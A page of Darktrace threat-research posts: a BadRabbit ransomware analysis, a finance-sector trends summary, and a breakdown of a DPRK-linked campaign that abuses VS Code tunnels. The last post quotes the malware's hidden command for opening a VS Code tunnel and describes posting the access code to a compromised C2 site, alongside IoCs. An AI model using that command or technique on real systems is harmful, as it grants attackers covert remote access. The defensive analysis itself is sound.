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October 24, 2017

Investigating the BadRabbit Cyber Threat

This blog post describes the currently-circulating ransomware called BadRabbit and how Darktrace’s machine learning technology detects it.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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24
Oct 2017

This blog post describes the currently circulating ransomware called BadRabbit and how Darktrace’s machine learning technology detects it. BadRabbit is a self-propagating piece of malware that uses SMB to spread laterally. The campaign is reminiscent of the WannaCry and NotPetya attacks seen earlier this year. Some of the functionality in BadRabbit and the modus operandi of how it infects the targets is similar to the NotPetya attack.

The attack initially hit companies in Russia and Ukraine on October 24th, 2017. Since, the ransomware has spread to other countries across the world as well.

Infection process

The initial infection vector appears to be via drive-by downloads and social engineering using fake Adobe Flash player files. Various news and media websites predominantly but not exclusively in Russia and Ukraine served their visitors with pop-up alerts asking them to download Adobe Flash player software updates. It is unclear at this point if the websites were compromised, or if the advertisement networks were leveraged to display the fake Adobe Flash downloads.

This technique of presenting users with fake updates, commonly Adobe Flash, containing ransomware, adware or other forms of malware, has gained traction in the last six months. The same approach is often applied to trick users into inadvisable actions, such as downloading malware when browsing TV streaming websites, or torrent websites.

Once downloaded, a user has to execute the fake Adobe Flash player with administrative credentials manually. No exploits are used to automatically execute the malware. The malware creates a scheduled task for another file upon execution. The ransomware then encrypts files on the compromised devices using a hard-coded list of file extensions using a RSA 2048 key. The criminals demand a Bitcoin payment for decrypting the files. Users are pointed to a .onion website, which has to be accessed via Tor, to pay the ransom.

BadRabbit can brute-force its way over SMB to other devices on the network using a hard-coded list of common credentials. The malware appears to contain a stripped-down version of the Mimikatz tool which is used to gather credentials on Windows machines. This is likely used to further enhance its lateral movement capabilities using SMB.

Update (October 30, 2017): As the investigation of BadRabbit capabilities continued over the weekend, new details about how BadRabbit spreads have been uncovered. BadRabbit appears to be using the EternalRomance exploit that targets CVE-2017-0145, patched by Microsoft in March 2017, to propagate within the internal network over SMB. As Darktrace’s AI does not rely on identifying individual exploits to detect breaches, this latest discovery does not affect Darktrace’s capability to identify BadRabbit infections. All of the previously identified detection capabilities still hold true.

Darktrace instantly detects BadRabbit

Darktrace has strong detection capabilities for this campaign without the use of any signatures. In fact, we alerted a number of our customers within seconds of the initial fake Flash Player download on their respective networks, and well before the extent of the campaign was publicly known.

The initial fake Adobe Flash Player download from 1dnscontrol[.]com is immediately detected as a suspicious download:

If the early signs of BadRabbit go undetected, the infected devices start brute-forcing access to other devices on the network using SMB - causing thousands of SMB session login attempts per endeavored lateral movement over port 445. This highly anomalous behavior marks a sharp departure from customers’ normal ‘pattern of life’, making BadRabbit very easy to detect for Darktrace’s machine learning technology. Within seconds, Darktrace alerted the affected organizations about this attack flagging it as ‘SMB Session Brute Force’. The below shows an ongoing lateral movement attempt from an infected device to another client device using SMB session brute-force.

Infected devices make connection attempts to one or two seemingly randomly generated IP addresses on the internet over port 445 and also port 139. Examples of these failed connection attempts are displayed below. Darktrace instantly recognized this as unusual behavior for the infected device:

Compromised devices will attempt to move laterally on the network in a search for other devices to infect. Darktrace’s AI algorithms can swiftly recognize this anomalous behavior, alerting the affected organization in real time about these ‘Unusual Internal Connections’, as well as potential ‘Network Scans’.

The below model breaches seen in Darktrace are expected in a BadRabbit infection. Please be aware that not all models listed below are expected to breach in every infection - this depends on the actual behavior observed by Darktrace.

Anomalous File / EXE from Rare External Destination
Device / SMB Session Brute Force
Unusual Activity / Unusual Internal Connections
Device / Network Scan
Unusual Activity / Sustained Unusual Activity
Anomalous Connection / Suspicious Read / Write Ratio
Compliance / Tor Usage

The Darktrace ‘Omnisearch’ and ‘Advanced Search’ features can be used to identify any connections made to the known network Indicators of Compromise:

1dnscontrol[.]com(hosting the fake Adobe Flash player file)185.149.120[.]3(static IP observed, victims HTTP POSTing to the IP)

Conclusion

BadRabbit is a machine-speed ransomware attack that exhibits some of the functionality and infection mechanics of the WannaCry and NotPetya breaches observed earlier this year. The BadRabbit malware masks itself as an ‘Adobe Flash’ software update, tempting unsuspecting users to initiate a download. After the initial impact, the attack can spread from machine to machine without human intervention.

Darktrace’s AI algorithms are quick to detect the highly anomalous patterns of behavior that BadRabbit triggers on a network, alerting the security team in real time. We have seen BadRabbit bypass traditional security controls around the globe, demonstrating once again the futility of attempting to identify and stop threats with rules and signatures. As Darktrace’s machine learning technology doesn’t rely on any assumptions of what ‘bad’ looks like and detects unfolding attacks not by what they are but by what they do, it is very powerful at catching and stopping ransomware attacks like BadRabbit in real time.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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